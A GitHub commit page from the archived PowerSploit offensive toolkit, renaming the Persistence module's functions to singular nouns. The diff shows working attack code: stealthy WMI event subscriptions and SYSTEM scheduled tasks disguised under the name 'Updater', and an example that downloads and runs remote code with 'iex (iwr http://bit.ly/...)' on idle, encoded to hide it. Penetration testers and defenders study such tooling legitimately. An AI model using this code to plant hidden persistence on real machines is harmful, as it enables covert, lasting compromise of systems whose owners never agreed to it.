Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit bbd382e

Browse files
author
mattifestation
committed
#31 Persistence module function nouns are now singular
The function names New-UserPersistenceOption and New-ElevatedPersistenceOptionNew-ElevatedPersistenceOption now conform to PowerShell naming best practices.
1 parent 28790b5 commit bbd382e

File tree

5 files changed

+42
-42
lines changed

5 files changed

+42
-42
lines changed

‎Persistence/Add-Persistence.ps1

Lines changed: 25 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ function Add-Persistence
88
PowerSploit Function: Add-Persistence
99
Author: Matthew Graeber (@mattifestation)
1010
License: BSD 3-Clause
11-
Required Dependencies: New-ElevatedPersistenceOptions, New-UserPersistenceOptions
11+
Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption
1212
Optional Dependencies: None
1313
1414
.DESCRIPTION
@@ -23,15 +23,15 @@ function Add-Persistence
2323
2424
Specifies the path to your payload.
2525
26-
.PARAMETER ElevatedPersistenceOptions
26+
.PARAMETER ElevatedPersistenceOption
2727
2828
Specifies the trigger for the persistent payload if the target is running elevated.
29-
You must run New-ElevatedPersistenceOptions to generate this argument.
29+
You must run New-ElevatedPersistenceOption to generate this argument.
3030
31-
.PARAMETER UserPersistenceOptions
31+
.PARAMETER UserPersistenceOption
3232
3333
Specifies the trigger for the persistent payload if the target is not running elevated.
34-
You must run New-UserPersistenceOptions to generate this argument.
34+
You must run New-UserPersistenceOption to generate this argument.
3535
3636
.PARAMETER PersistenceScriptName
3737
@@ -71,9 +71,9 @@ function Add-Persistence
7171
7272
.EXAMPLE
7373
74-
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'
75-
C:\PS>$UserOptions = New-UserPersistenceOptions -Registry -AtLogon
76-
C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose
74+
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
75+
C:\PS>$UserOptions = New-UserPersistenceOption -Registry -AtLogon
76+
C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
7777
7878
Description
7979
-----------
@@ -82,9 +82,9 @@ function Add-Persistence
8282
.EXAMPLE
8383
8484
C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
85-
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle
86-
C:\PS>$UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle
87-
C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
85+
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
86+
C:\PS>$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
87+
C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
8888
8989
Description
9090
-----------
@@ -108,10 +108,10 @@ function Add-Persistence
108108
$FilePath,
109109

110110
[Parameter( Mandatory = $True )]
111-
$ElevatedPersistenceOptions,
111+
$ElevatedPersistenceOption,
112112

113113
[Parameter( Mandatory = $True )]
114-
$UserPersistenceOptions,
114+
$UserPersistenceOption,
115115

116116
[ValidateNotNullOrEmpty()]
117117
[String]
@@ -136,12 +136,12 @@ function Add-Persistence
136136

137137
#region Validate arguments
138138

139-
if ($ElevatedPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOptions')
139+
if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption')
140140
{
141141
throw 'You provided invalid elevated persistence options.'
142142
}
143143

144-
if ($UserPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOptions')
144+
if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption')
145145
{
146146
throw 'You provided invalid user-level persistence options.'
147147
}
@@ -171,9 +171,9 @@ function Add-Persistence
171171
$RemovalScriptFile = "$($Path)\$($Leaf)"
172172
}
173173

174-
if ($PSBoundParameters['Path'])
174+
if ($PSBoundParameters['FilePath'])
175175
{
176-
Get-ChildItem $Path -ErrorAction Stop | Out-Null
176+
Get-ChildItem $FilePath -ErrorAction Stop
177177
$Script = [IO.File]::ReadAllText((Resolve-Path $Path))
178178
}
179179
else
@@ -216,7 +216,7 @@ function Add-Persistence
216216
#region Process persistence options
217217

218218
# Begin processing elevated persistence options
219-
switch ($ElevatedPersistenceOptions.Method)
219+
switch ($ElevatedPersistenceOption.Method)
220220
{
221221
'PermanentWMI'
222222
{
@@ -226,7 +226,7 @@ Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "nam
226226
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
227227
}
228228

229-
switch ($ElevatedPersistenceOptions.Trigger)
229+
switch ($ElevatedPersistenceOption.Trigger)
230230
{
231231
'AtStartup'
232232
{
@@ -235,7 +235,7 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
235235

236236
'Daily'
237237
{
238-
$ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOptions.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOptions.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
238+
$ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
239239
}
240240

241241
default
@@ -250,7 +250,7 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
250250
$CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
251251
$ElevatedTriggerRemoval = "schtasks /Delete /TN Updater"
252252

253-
switch ($ElevatedPersistenceOptions.Trigger)
253+
switch ($ElevatedPersistenceOption.Trigger)
254254
{
255255
'AtLogon'
256256
{
@@ -259,7 +259,7 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
259259

260260
'Daily'
261261
{
262-
$ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR "
262+
$ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
263263
}
264264

265265
'OnIdle'
@@ -291,18 +291,18 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
291291
}
292292

293293
# Begin processing user-level persistence options
294-
switch ($UserPersistenceOptions.Method)
294+
switch ($UserPersistenceOption.Method)
295295
{
296296
'ScheduledTask'
297297
{
298298
$CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
299299
$UserTriggerRemoval = "schtasks /Delete /TN Updater"
300300

301-
switch ($UserPersistenceOptions.Trigger)
301+
switch ($UserPersistenceOption.Trigger)
302302
{
303303
'Daily'
304304
{
305-
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR "
305+
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
306306
}
307307

308308
'OnIdle'

‎Persistence/New-ElevatedPersistenceOptions.ps1 renamed to ‎Persistence/New-ElevatedPersistenceOption.ps1

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,19 @@
1-
function New-ElevatedPersistenceOptions
1+
function New-ElevatedPersistenceOption
22
{
33
<#
44
.SYNOPSIS
55
66
Configure elevated persistence options for the Add-Persistence function.
77
8-
PowerSploit Function: New-ElevatedPersistenceOptions
8+
PowerSploit Function: New-ElevatedPersistenceOption
99
Author: Matthew Graeber (@mattifestation)
1010
License: BSD 3-Clause
1111
Required Dependencies: None
1212
Optional Dependencies: None
1313
1414
.DESCRIPTION
1515
16-
New-ElevatedPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
16+
New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
1717
1818
.PARAMETER PermanentWMI
1919
@@ -61,15 +61,15 @@ function New-ElevatedPersistenceOptions
6161
6262
.EXAMPLE
6363
64-
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'
64+
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
6565
6666
.EXAMPLE
6767
68-
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -Registry -AtStartup
68+
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup
6969
7070
.EXAMPLE
7171
72-
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle
72+
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
7373
7474
.LINK
7575
@@ -164,7 +164,7 @@ function New-ElevatedPersistenceOptions
164164
}
165165

166166
$PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
167-
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOptions'
167+
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOption'
168168

169169
Write-Output $PersistenceOptions
170170
}

‎Persistence/New-UserPersistenceOptions.ps1 renamed to ‎Persistence/New-UserPersistenceOption.ps1

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,19 @@
1-
function New-UserPersistenceOptions
1+
function New-UserPersistenceOption
22
{
33
<#
44
.SYNOPSIS
55
66
Configure user-level persistence options for the Add-Persistence function.
77
8-
PowerSploit Function: New-UserPersistenceOptions
8+
PowerSploit Function: New-UserPersistenceOption
99
Author: Matthew Graeber (@mattifestation)
1010
License: BSD 3-Clause
1111
Required Dependencies: None
1212
Optional Dependencies: None
1313
1414
.DESCRIPTION
1515
16-
New-UserPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.
16+
New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.
1717
1818
.PARAMETER ScheduledTask
1919
@@ -49,11 +49,11 @@ function New-UserPersistenceOptions
4949
5050
.EXAMPLE
5151
52-
C:\PS> $UserOptions = New-UserPersistenceOptions -Registry -AtLogon
52+
C:\PS> $UserOptions = New-UserPersistenceOption -Registry -AtLogon
5353
5454
.EXAMPLE
5555
56-
C:\PS> $UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle
56+
C:\PS> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
5757
5858
.LINK
5959
@@ -122,7 +122,7 @@ function New-UserPersistenceOptions
122122
}
123123

124124
$PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
125-
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOptions'
125+
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOption'
126126

127127
Write-Output $PersistenceOptions
128128
}

‎Persistence/Persistence.psd1

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ CmdletsToExport = '*'
3131
ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'})
3232

3333
# List of all files packaged with this module
34-
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOptions.ps1',
35-
'New-UserPersistenceOptions.ps1', 'Usage.md'
34+
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOption.ps1',
35+
'New-UserPersistenceOption.ps1', 'Usage.md'
3636

3737
}

‎README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -48,11 +48,11 @@ Strips comments and extra whitespace from a script.
4848

4949
**Add persistence capabilities to a PowerShell script**
5050

51-
#### `New-UserPersistenceOptions`
51+
#### `New-UserPersistenceOption`
5252

5353
Configure user-level persistence options for the Add-Persistence function.
5454

55-
#### `New-ElevatedPersistenceOptions`
55+
#### `New-ElevatedPersistenceOption`
5656

5757
Configure elevated persistence options for the Add-Persistence function.
5858

0 commit comments

Comments
 (0)